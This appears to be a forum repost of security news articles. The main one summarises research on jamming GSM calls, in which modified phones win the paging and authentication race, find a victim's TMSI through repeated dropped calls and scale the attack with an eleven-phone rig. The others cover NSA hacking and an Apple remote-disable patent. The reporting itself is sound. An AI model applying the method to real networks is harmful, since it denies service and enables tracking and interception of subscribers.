in Texas, might reveal the most about the scope of TAO activities. He says the 14 personnel under his management have completed “over 54,000 Global Network Exploitation (GNE) operations in support of national intelligence agency requirements.” Just imagine how productive the team in Fort Meade, rumored to have about 600 people, must be. Sursa: The NSA has its own team of elite hackers

Anatomy of a dropped call - how to jam a city with 11 customised mobile phones by Paul Ducklin on August 29, 2013 When you think of "signal jamming," you probably imagine some kind of fine steel mesh that blocks out radio transmissions altogether, or a source of electromagnetic noise that interferes enough to make legitimate communication impossible. But a paper presented by a trio of German researchers at the recent USENIX Security Symposium reveals a much more subtle approach to jamming mobile phone calls. They were able to convert a single mobile phone into a denial of service (DoS) device that could be turned against another subscriber, perhaps wherever they roamed through a whole town or city. The paper is quite technical, and unavoidably filled with the jargon of mobile telephony, yet the authors have done an excellent job of making it into a comprehensible read that teaches you a number of useful security lessons. As they point out very clearly, many of the security decisions taken in the early days of the GSM (Global System for Mobile) system were based at least in part on security through obscurity. The consensus back then seemed to be, "Nobody will ever be able to build their own base station, or make their own handset!" So why bother going to the trouble of designing in security to protect against the hardware and firmware of the network itself turning hostile? All that has changed, with open source implementations available for both base stations and handsets. As a result, security shortcuts that didn't seem to matter much 20 years ago have come back to haunt us. How your phone receives a call Mobile phones aren't in a perpetual state of readiness to receive calls or SMSes (text messages) instantaneously. Instead, your phone spends most of its time in a low-power mode, from which it can be signalled to wake up fully to accept a call or message. (That's why your phone battery may well last for days when you aren't making or receiving calls, but typically only hours when you are.) Rather casually simplified, and with apologies to the authors of the USENIX paper, this is what happens when a nearby cell tower decides it's time for you to get a call: The base station sends out a broadcast page containing an identification code for your phone. Your phone recognises its own identification code. Your phone wakes up and responds to the base station. The base station and your phone negotiate a private radio channel for the call. Your phone authenticates to the base station. Your phone starts ringing (or an SMS arrives). How an attacker can "jam" your calls You can probably spot what computer scientists call a race condition in the sequence above, caused by the fact that authentication happens late in the game. Every device in range can listen in to the broadcast pages inviting your phone to wake up, so a device that's faster than yours can race you to step 5 and win, causing your phone's attempt to authenticate to be rejected. Of course, the "jamming" phone doesn't know how to authenticate, but that doesn't matter; in fact, it can deliberately fail the authentication, causing the process to bail out at step 5. There is no step 6, so the call is lost - invisibly to you, because you lost the race to reply - and service is denied. The authors got this attack working with a tweaked open source baseband (mobile phone firmware) that was adapted to ensure that it ran faster than a wide range of commercial handsets, including the Apple iPhone 4s, Samsung Galaxy S2 and Blackberry 9300 Curve. How an attacker finds your phone There is no authentication or encryption during the "are you there?" message and the "here I am!" reply, so an attacker doesn't need any cryptographic cleverness to work out which messages are meant for what devices. There is a slight complication, however: the attacker probably doesn't know your phone's identification code in advance. To be strictly correct: the code is tied to your SIM card, not to the phone hardware itself, since every SIM has a unique code called an IMSI (International Mobile Subscriber Identity) burned into it, rather like the MAC address in a network card. But GSM phones deliberately minimise the frequency with which unencrypted IMSIs are visible on the network, in order to provide you with some safety and privacy against being tracked too openly. Instead, occasional exchanges involving your true IMSI are used to produce a regularly changing TMSI, where T stands for Temporary. The TMSI is a pseudorandom, temporary identifier that varies as a matter of course as you turn your phone off and on or roam through a network. The network operator maintains a list to keep track of which TMSI relates to what IMSI at any moment, but that database is unlikely to be accessible to an attacker. The authors used traffic analysis to get round this problem. While sniffing all the TMSIs being broadcast on the network, they call your number 10 to 20 times in quick succession, but deliberately drop each call after a few seconds. The TMSI that suddenly appears 10 to 20 times in quick succession in the sniffer logs, as the network tries to track you down with its broadcast pages, is almost certainly the one they want. Easy, isn't it? ? As long as they drop the call after the TMSI has sent in a broadcast page but before your phone gets past the authentication stage (step 5 above), your phone won't ring and the imposter calls won't show up. That means you won't be aware that anything dodgy is going on. The authors used trial and error to determine a suitable call-drop delay for the network provider they targeted, finding that 3.7 seconds worked well. How the attacker finds out which cell you are in Here's the thing: he doesn't need to know more than your general location. When you receive a call, the mobile network doesn't page for your phone only in one cell of the network - it pages throughout your location area, which is a cluster of base stations in the vicinity. This means that the network doesn't need to keep precise tabs on you all the time, which in turn means that your phone doesn't have to tell the network exactly where it is from moment to moment, thus extending battery life. So as long as I know you are somewhere, say, in the City of Sydney, I can sit in a coffee shop at the Opera House and sniff for your TMSI wherever you go in town, because the broadcast pages that go out when I make those 10 to 20 bogus calls are duplicated everywhere in the location area. The authors did some warmapping drives around Berlin, their home turf, and determined that location areas can be very extensive, ranging from 100km2 to 500km2. (For comparison, the City of Sydney, which stretches from the Harbour Bridge south as far as Central Station, is just 25km2.) How the attacker can amplify the attack Instead of looking out for your TMSI and blocking your calls, what if the attacker wanted to block every call to knock a large metro area out in one go? One rigged sniffer phone alone couldn't do it. The authors found that although their tweaked phone baseband could beat many popular mobile phones in the race to authenticate, it still took about one second to "jam" each broadcast page, limiting each phone to about 60 "jammed" pages per minute. So they built a rig with eleven tweaked phones, thus allowing them to subvert more than 600 broadcast pages per minute. Their measurements suggested this would be enough to knock out the service of at least some of the four major German operators across one location area (100km2 - 500km2) in metro Berlin. Remember that the eleven attack phones don't have to be distributed through the location area, since all broadcast pages are replicated through all cells in the area. The only problem the authors faced was how to allocate the TMSI broadcasts amongst their eleven tweaked phones. Using a messaging system to hand out each successively sniffed TMSI to the next phone on the list required the use of a serial connection to each phone, which was too slow. In the end, they simply allowed each phone to select TMSIs by a bit pattern, so that phone 1, for example, might handle TMSIs starting with the bytes 0x00 to 0x1F, and so on. ? As an amusing side-effect of tuning the partitioning algorithm to ensure that each phone handled about the same quantity of broadcast pages, the authors noticed that the bytes in most TMSIs were far from randomly distributed. Ironically, in this case, the lack of randomness made the partitioning job harder, not easier. What about interception, not just jamming? As the authors note, in some mobile networks, they could go further than just cancelling your calls and knocking you off the network. They observed that some networks, presumably for performance reasons, cheat a little on step 5, and don't authenticate every call. In these cases, an attacker who can win the race to the authentication stage (step 5 above) can do more than cancel your call - he can accept it instead (or receive your SMS), from anywhere in your location area, and you won't realise. Also, some networks still use outdated, broken versions of the A5 encryption algorithm that is part of the GSM standard. On these networks, your calls can be sniffed and decrypted anyway, but in a busy metro area, an attacker is faced with problems of volume: how to home in automatically only on the calls he really wants to intercept, without having to listen to everyone else's chatter too. The authors' "jamming" firmware could be modified to do just that job, used as a call alerting mechanism instead of for a denial of service. ? Sniffing the call data for later decryption can't be done from anywhere in the location area, which is a small mercy, so an attacker needs to be in the same cell as you. What to do about it? You can probably guess what mitigations the authors proposed, because they are obvious and easy to say; you will also probably wonder if they will ever happen, because they involve change, and potentially disruptive change at that, so they are hard to do. Defending against the eavesdropping and call hijacking problems is straightforward: perform authentication for every call or SMS, and don't use broken versions of the GSM cipher. The system already supports everything that's needed; all that is required is for it to be turned on and used by every operator. Defending against the denial of service problem is slightly trickier, as it needs a protocol change: move authentication up the batting order to prevent the race condition. The authors propose a technically simply way to do this, but it means shifting some of the cryptographic operations from the authentication stage (step 5 above) to the "are you there?/here I am!" stages (steps 1 and 2). Unfortunately, these mitigations don't include steps you can take to help yourself; they need changes from the mobile operators. Will that happen? Or will backward compatibility, the thorn that is making Windows XP so hard to dislodge, get in the way yet again? Sursa: Anatomy of a dropped call – how to jam a city with 11 customised mobile phones | Naked Security

Apple's new technology will allow government to control your iPhone remotely Author: Mohit Kumar, The Hacker News Recently, The Social Media is buzzing over reports that Apple has invented a new technology that now can Switch off iPhone Camera and Wi-Fi, when entering a 'sensitive area'. Technology would broadcast a signal to automatically shut down Smartphone features, or even the entire phone. Yes ! It's true, On June 2008 - Apple filed a patent (U.S. Patent No. 8,254,902) - titles “Apparatus and methods for enforcement of policies upon a wireless device” that defines the ability of U.S. Government to remotely disable certain functions of a device without user consent. All they need to do is decide that a public gathering or venue is deemed sensitive and needs to be protected from externalities. Is it not a shame that you can't take a photo of the police officer beating a man in the street because your oppressive government remotely disabled your Smartphone camera? Civil liberties campaigners fear it could be misused by the authorities to silence 'awkward citizens'. Apple insists that the affected locations are normally cinemas, theaters and concert grounds, but Apple admits it could also be used in covert police or government operations that may need complete blackout conditions. "This technology would be a dangerous power to place in the hands of the government," Kurt Opsahl, a civil liberties lawyer at Electronic Frontier Foundation (EFF). "The government shutting down iPhone cameras and connectivity in order to prevent photos of political activity or the organization of the event would constitute a prior restraint on the free speech rights of every person affected, whether they're an activist or an observer" he added. Apple also says that the user can be given a choice to approve changes being sent remotely, however one cannot rule out the possibility of some changes being applied to the device without user consent. Sursa: Apple's new technology will allow government to control your iPhone remotely - The Hacker News